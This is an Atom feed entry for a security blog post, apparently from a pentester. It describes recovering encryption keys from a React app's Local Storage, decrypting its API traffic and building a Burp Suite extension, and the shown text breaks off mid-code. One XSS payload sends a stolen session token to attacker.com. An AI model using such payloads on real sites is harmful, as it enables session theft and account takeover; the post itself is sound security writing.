<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>dsm&#x27;s blog - research</title>
    <subtitle>Writing on security and technology.</subtitle>
    <link rel="self" type="application/atom+xml" href="https://larper.me/tags/research/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://larper.me"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2025-12-26T00:00:00+00:00</updated>
    <id>https://larper.me/tags/research/atom.xml</id>
    <entry xml:lang="en">
        <title>Defeating Client-Side Web Encryption with Burp Suite Extension</title>
        <published>2025-12-26T00:00:00+00:00</published>
        <updated>2025-12-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://larper.me/blog/defeating-client-side-web-encryption/"/>
        <id>https://larper.me/blog/defeating-client-side-web-encryption/</id>
        
        <content type="html" xml:base="https://larper.me/blog/defeating-client-side-web-encryption/">&lt;p&gt;In a recent pentest, I came across a not-so-common situation that gives a false sense of security, what we usually call &quot;security through obscurity&quot;. While interacting with the web application, I noticed that all data sent and received wasn&#x27;t in clear text or anything like that, but rather a JSON entity with all its content encrypted.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image.png&quot; alt=&quot;Burp Suite showing encrypted JSON response from the API&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As seen in the image above, the response content that the API returns consists of the following format:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;&amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CFCFC2;&quot;&gt;&amp;quot;SGVsbG8hIE9sw6EhIEhvbGEh&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In order to actually perform this pentest, that is, to see what&#x27;s being passed in the requests and later manipulate them or interact with them, we need to understand how the application is sending this information to the client and also to the server. This web application in question is built in React.js, so we just need to analyze the JavaScript files.&lt;&#x2F;p&gt;
&lt;p&gt;Analyzing the source code, I searched for references like &lt;code&gt;privateKey&lt;&#x2F;code&gt;, &lt;code&gt;encrypt&lt;&#x2F;code&gt;, &lt;code&gt;decrypt&lt;&#x2F;code&gt; and other keywords and found some points in the code that were essential for me to understand where the cryptographic keys were stored and how they were later used. Inside the JavaScript file, the word &lt;code&gt;StorageItems&lt;&#x2F;code&gt; caught my attention and made me look at the browser&#x27;s Storage tab.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image2.png&quot; alt=&quot;Browser DevTools Storage tab showing encrypted values in Local Storage&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image3.png&quot; alt=&quot;Local Storage properties: iv, privateKey, publicKey, symmetricKey&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can see in the image above that there are several properties in our browser&#x27;s local storage, these are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;iv_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;privateKey_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;publicKey_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;symmetricKey_[ID]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The value of all these properties are encrypted information encoded in Base64, I believe to ensure compatibility in sending and receiving information, preventing any invalid character from being sent or lost in this process. Now that we know the private key, symmetric key, IV and public key are easily accessible, we need to analyze the source code even more to see how they&#x27;re being used.&lt;&#x2F;p&gt;
&lt;p&gt;In the following image, we can collect the names of several functions that are later used by the application to obtain raw data, such as &lt;code&gt;getEncryptedIvKey&lt;&#x2F;code&gt;, &lt;code&gt;getEncryptedSymmetricKey&lt;&#x2F;code&gt;, &lt;code&gt;getPrivateKeyRSA&lt;&#x2F;code&gt;, &lt;code&gt;getPrivateKeyBase64&lt;&#x2F;code&gt; and some others. We also found some references to the algorithm used, which is PKCS1 and later converted to Base64.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image4.png&quot; alt=&quot;JavaScript source showing encryption function names and PKCS1 references&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image5.png&quot; alt=&quot;Decryption flow in the JavaScript source code&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Based on continuous source code analysis, we discovered relevant points such as:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;RSA-2048 is used for &lt;em&gt;key wrapping&lt;&#x2F;em&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;For data encryption, AES-256-CBC is used;&lt;&#x2F;li&gt;
&lt;li&gt;The IV is kept in hex format, which is unnecessary.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;With this in mind, it becomes easy to understand the data encryption flow and how they&#x27;re passed along. First, the application collects the encrypted information along with the keys that are used for it, then it decrypts the symmetric key and IV using the RSA private key, after that, it decrypts the information using AES-CBC along with the symmetric key and IV previously obtained, then we remove the padding and parse the JSON, which will return the JSON in clear text for us.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image6.png&quot; alt=&quot;Full decryption flow diagram&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To check if we&#x27;re on the right path, I developed a simple Python script that will use the Crypto library and will receive each of these properties statically, replicate the process executed by the application and in the end return the JSON to us. Below I&#x27;ll be attaching the Python script code with comments about each section of it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image7.png&quot; alt=&quot;Python decryption script with Crypto library&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We&#x27;ll replace all the &lt;code&gt;PLACEHOLDERS&lt;&#x2F;code&gt; in the code with the content that&#x27;s stored locally in the browser and run the script. Since in this case everything was correct (fortunately), we have the JSON with data in clear text, which proves that the process of decrypting the information is possible on the client side without the need for direct intervention from the web application. This is where security through obscurity happens, it&#x27;s believed that data is being transmitted much more securely because it&#x27;s encrypted, but actually since the client needs the private keys to also be able to send them encrypted to the server and later read them, there&#x27;s no other choice but for the developer to make the client have access to them.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image8.png&quot; alt=&quot;Python script output showing decrypted JSON in clear text&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Essentially, being able to decrypt information in clear text isn&#x27;t a vulnerability, it&#x27;s just an insufficient layer of protection that the developer imposed on the application. This is minimally useful because it will make life harder for the attacker who will have to do this same process (or something similar) to be able to exploit other vulnerabilities in the application. However, without being able to reverse this process, I can say that the chance of me finding any vulnerability in the application later is extremely low, because I won&#x27;t understand what&#x27;s happening, that is, blind pentesting.&lt;&#x2F;p&gt;
&lt;p&gt;In other scenarios from some articles that can be found on the internet, including one in the references section, the researcher demonstrates how he bypassed this encryption and later found some high-impact vulnerabilities in the application, this shows that, is the additional layer of protection important? Yes! Does it prevent vulnerabilities? Obviously not. That&#x27;s why security is several layers and not just one that will temporarily cover an attacker&#x27;s eyes.&lt;&#x2F;p&gt;
&lt;p&gt;Another relevant point is the storage of sensitive information in Local Storage. Many developers believe that just by storing sensitive information in other places, or for example, introducing protections in session cookies so that XSS attacks can&#x27;t steal them is good enough, but what about Local Storage? It&#x27;s not protected and its use isn&#x27;t recommended for this, mainly because if we go back a few steps, in addition to the mentioned properties, there&#x27;s one that stores precisely the user&#x27;s session JWT. So with an XSS, it would still be possible to escalate to an Account Takeover. For example, the following XSS payload reads the &quot;token&quot; property from Local Storage and sends it to an external server, which was used in a real pentest to escalate an XSS to Account Takeover.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;iframe&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; src&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;javascript:(function(){window.location.href=&amp;#39;https:&#x2F;&#x2F;attacker.com&#x2F;&#x2F;&amp;#39;+localStorage.getItem(&amp;#39;token&amp;#39;)})()&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;burp-suite-extension&quot;&gt;Burp Suite Extension&lt;&#x2F;h2&gt;
&lt;p&gt;The problem is that this whole process from the Python code would make the process kind of slow and not so automatic, so as a challenge, I set myself to develop a local extension for Burp Suite so I could automate this process. Extensions for Burp Suite can be made in several languages like Python (Jython), Ruby (JRuby) and Java which is Burp Suite&#x27;s native language. Initially I thought about using Jython for this, the problem? It&#x27;s limited to Python 2.7 and I don&#x27;t have practice with Ruby, therefore, I opted to do it in Java, which previously cost me 5 hours and a lot of headache, but in the end it worked.&lt;&#x2F;p&gt;
&lt;p&gt;Looking for information on how to develop this extension, PortSwigger itself offers a template to create your extension, which helped me a lot to have the project base. Another extremely fundamental piece (and possibly without it, I would have taken many more hours) was &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@hosam.gemeai&#x2F;a-guide-to-build-burp-suite-extensions-using-montoya-api-java-a8256a169bee&quot;&gt;the article by researcher Hosam Gemei&lt;&#x2F;a&gt; who developed a simple extension for the same situation as mine!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image9.png&quot; alt=&quot;Hosam Gemei&amp;#39;s Burp Suite extension article&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Burp Suite extensions use the Montoya API to interact with various Burp Suite actions. When the extension is loaded, Burp Suite invokes the &lt;code&gt;BurpExtension.initialize(MontoyaApi)&lt;&#x2F;code&gt; method and later creates an instance of the Montoya API interface, from this, our extension can interact with various Burp Suite functionalities.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;imagemontoya.png&quot; alt=&quot;Montoya API structure and BurpExtension initialize method&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So, with full help from Hosam Gemei&#x27;s project source code, since the situations were practically identical, I started the extension development process, which seemed like a simple process at first, but due to some needs, ended up taking a few more hours. My initial idea was to do like the Python script and define the keys and content statically in the source code, as in the example below:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;package helpers&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;public class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #000000;background-color: #FFFFFF;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;text-decoration: underline;&quot;&gt;Constants&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; EXTENSION_NAME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Decrypt&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; CAPTION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Decrypt Extension&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; LOADED_MSG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;[+] Decrypt Extension loaded successfully!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; UNLOAD_MSG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;[+] Decrypt Extension unloaded successfully!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; PUBLIC_KEY_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; ENC_PARAMETER_REQ&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; KEY_ALGORITHM&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;AES&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; ENCRYPTED_SYMMETRIC_KEY_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; ENCRYPTED_IV_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; PRIVATE_KEY_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;However, what gain would I have if I had to keep manually editing in case the keys changed and have to compile the extension JAR again? None! So the only difference between my extension and Hosam Gemei&#x27;s is that I added an extra window where I define the keys statically from Burp Suite&#x27;s own graphical interface, which was a very positive gain. To develop this window was quite simple, we just use JPanel which is basically a container from the Swing library that allows adding components like buttons, input fields, developing layouts, sections and others. The structure is quite simple:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;SettingsTab.java&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;package ui&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import burp.api.montoya.MontoyaApi&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import helpers.ConfigManager&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import javax.swing.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import java.awt.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;public class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #000000;background-color: #FFFFFF;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;text-decoration: underline;&quot;&gt;SettingsTab&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; MontoyaApi&lt;&#x2F;span&gt;&lt;span&gt; montoya;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt; config;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; JPanel&lt;&#x2F;span&gt;&lt;span&gt; panel;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; SettingsTab&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;MontoyaApi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; api&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;        this&lt;&#x2F;span&gt;&lt;span&gt;.montoya&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; api;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;        this&lt;&#x2F;span&gt;&lt;span&gt;.config&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ConfigManager.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getInstance&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        createUI&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; createUI&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JPanel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; GridBagLayout&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        GridBagConstraints&lt;&#x2F;span&gt;&lt;span&gt; gbc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; GridBagConstraints&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.fill&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; GridBagConstraints.HORIZONTAL;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.insets&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; Insets&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        int&lt;&#x2F;span&gt;&lt;span&gt; row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Private Key (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; privateKeyField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
